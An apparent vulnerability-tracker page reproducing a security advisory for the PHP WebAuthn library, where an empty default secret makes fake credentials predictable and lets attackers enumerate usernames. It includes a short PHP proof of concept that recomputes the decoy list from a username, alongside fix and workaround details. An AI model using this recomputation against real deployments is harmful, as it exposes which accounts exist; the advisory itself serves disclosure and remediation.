GHSA-gq4g-fpc9-vjfq: Webauthn: SimpleFakeCredentialGenerator with an empty secret produces predictable fake credentials, weakening username enumeration protection
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: web-auth/webauthn-lib (Packagist) 5.3.5.
Low priority for now. Upgrade to web-auth/webauthn-lib (Packagist) 5.3.5 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Impact `Webauthn\SimpleFakeCredentialGenerator` is the library-provided default implementation of the `FakeCredentialGenerator` interface. It returns a stable list of decoy `PublicKeyCredentialDescriptor` objects for a given username so that an assertion request for an unknown user looks the same as a request for a real one, which mitigates username enumeration. The generator derives the whole decoy list from a single seed: ```php $seed = hash('sha256', $username . $this->secret, true); ``` When it is constructed without a secret (its constructor default, `$secret = ''`), the seed depends only on the username. The username is attacker-chosen and the algorithm is public, so an unauthenticated requester can recompute the exact, byte-for-byte decoy list the server returns for any username. The attacker then compares a probed username's response against the locally computed list and decides whether the account is real or fake, which is precisely the distinction the mechanism is meant to hide. With any non-empty secret the seed becomes a value the attacker cannot evaluate and the mitigation holds. The defect is the empty default, not the algorithm. ## Affected configurations - Direct use of the library (`web-auth/webauthn-lib`) where `SimpleFakeCredentialGenerator` is instantiated without a secret. - Any integration that wires the generator with an empty secret. The Symfony bundle is not affected with its default configuration: it injects the application secret (`kernel.secret`) into the generator, so out-of-the-box deployments already use a non-empty secret. Deployments that set an empty `kernel.secret` are affected. ## Patches Fixed in 5.3.5. The generator now emits a deprecation when it is constructed without a secret, which surfaces the misconfiguration in logs and the Symfony profiler. A non-empty secret will be required in 6.0.0. The recommended remediation is to always provide a non-empty, deployment-specific secret. ## Workarounds Construct `SimpleFakeCredentialGenerator` with a non-empty secret value (for example the application secret), or provide a custom `FakeCredentialGenerator` implementation seeded with a secret. ## Proof of concept ```php <?php declare(strict_types=1); require $src . '/PublicKeyCredentialDescriptor.php'; require $src . '/FakeCredentialGenerator.php'; require $src . '/SimpleFakeCredentialGenerator.php'; use Webauthn\PublicKeyCredentialDescriptor; use Webauthn\SimpleFakeCredentialGenerator; $username = 'alice@example.com'; // 1. The "server" runs the library default wiring (cache=null, secret=''). $server = new SimpleFakeCredentialGenerator(); $refl = new ReflectionMethod(SimpleFakeCredentialGenerator::class, 'generateCredentials'); $refl->setAccessible(true); $serverDescriptors = $refl->invoke($server, $username); // 2. The "attacker" recomputes the same algorithm, knowing only the username. function attackerRecompute(string $username): array { $transports = [ PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_USB, PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_NFC, PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_BLE, PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_HYBRID, PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_INTERNAL, PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_SMART_CARD, ]; $seed = hash('sha256', $username . '', true); // empty secret $count = (ord($seed[0]) % 3) + 1; $out = []; for ($i = 0; $i < $count; $i++) { $credSeed = hash('sha256', $seed . pack('N', $i), true); $transportCount = (ord($credSeed[0]) % 2) + 1; $sel = []; for ($j = 0; $j < $transportCount; $j++) { $sel[] = $transports[ord($credSeed[$j + 1]) % count($transports)]; } $sel = array_values(array_unique($sel)); $out[] = ['type' => PublicKeyCredentialDescriptor::CREDENTIAL_TYPE_PUBLIC_KEY, 'id' => hash('sha256', $credSeed . $username), 'transports' => $sel]; } return $out; } // 3. The two lists match byte-for-byte, so the decoy is reproducible. // The same call with a non-empty secret diverges, confirming the defect // is the default value rather than the algorithm. ``` With the default empty secret the library's fake-credential list is bit-for-bit reproducible from the public username alone, which defeats the username enumeration mitigation. The same call with a non-empty secret diverges. ## Severity Low. The decoy responses are still well-formed and the issue only re-enables username enumeration, and only when the generator is used without a secret (which is not the case for default Symfony bundle deployments). ## Credits Found during an internal security audit of the project.
- Published
- Jul 7, 2026
- Updated
- Sep 10, 2026
- EPSS
- —
- CWE
- CWE-204
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
If any of these changes, we'll tell you in the daily email digest.
Is your version affected? Check itNoroxi analysis
What does it mean in your environment?
The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.
We use this product, ask for helpAffected systems
Is your version affected?
Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.
| Vendor | Product | CPE |
|---|---|---|
| Packagist | web-auth/webauthn-lib | pkg:composer/web-auth/webauthn-lib |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Packagist | web-auth/webauthn-lib | from 4.9.0 · before 5.3.5 | 5.3.5 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| Packagist:web-auth/webauthn-lib | 5.3.5 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
Weakness class (CWE)
CWE-204 · Observable Response DiscrepancyCVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
Change log (2)
- Fix✗ → ✓
- CVSS2.5 → —
For records you follow, these changes also arrive as notifications. →
References
Show all references (1 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.